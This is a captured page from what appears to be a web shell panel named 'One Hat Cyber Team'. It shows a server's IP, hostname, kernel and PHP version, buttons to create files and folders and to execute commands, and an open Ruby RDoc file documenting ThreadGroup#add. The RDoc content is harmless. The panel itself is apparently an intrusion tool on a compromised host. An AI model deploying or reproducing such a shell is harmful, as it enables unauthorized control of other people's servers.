⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.93
Server IP:
65.108.141.171
Server:
Linux server.heloix.com 5.4.0-214-generic #234-Ubuntu SMP Fri Mar 14 23:50:27 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
ri
/
2.7.0
/
system
/
ThreadGroup
/
Edit File: add-i.ri
U:RDoc::AnyMethod[iI"add:ETI"ThreadGroup#add;TF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I"GAdds the given +thread+ to this group, removing it from any other ;TI"9group to which it may have previously been a member.;To:RDoc::Markup::BlankLine o:RDoc::Markup::Verbatim; [I":puts "Initial group is #{ThreadGroup::Default.list}" ;TI"tg = ThreadGroup.new ;TI"t1 = Thread.new { sleep } ;TI"t2 = Thread.new { sleep } ;TI"puts "t1 is #{t1}" ;TI"puts "t2 is #{t2}" ;TI"tg.add(t1) ;TI";puts "Initial group now #{ThreadGroup::Default.list}" ;TI"$puts "tg group now #{tg.list}" ;T:@format0o; ; [I"This will produce:;T@o;; [ I"+Initial group is #<Thread:0x401bdf4c> ;TI" t1 is #<Thread:0x401b3c90> ;TI" t2 is #<Thread:0x401b3c18> ;TI"@Initial group now #<Thread:0x401b3c18>#<Thread:0x401bdf4c> ;TI"&tg group now #<Thread:0x401b3c90>;T; 0: @fileI" thread.c;T:0@omit_headings_from_table_of_contents_below0I""thgrp.add(thread) -> thgrp ;T0[ I" (p1);T@%FI"ThreadGroup;TcRDoc::NormalClass00
Simpan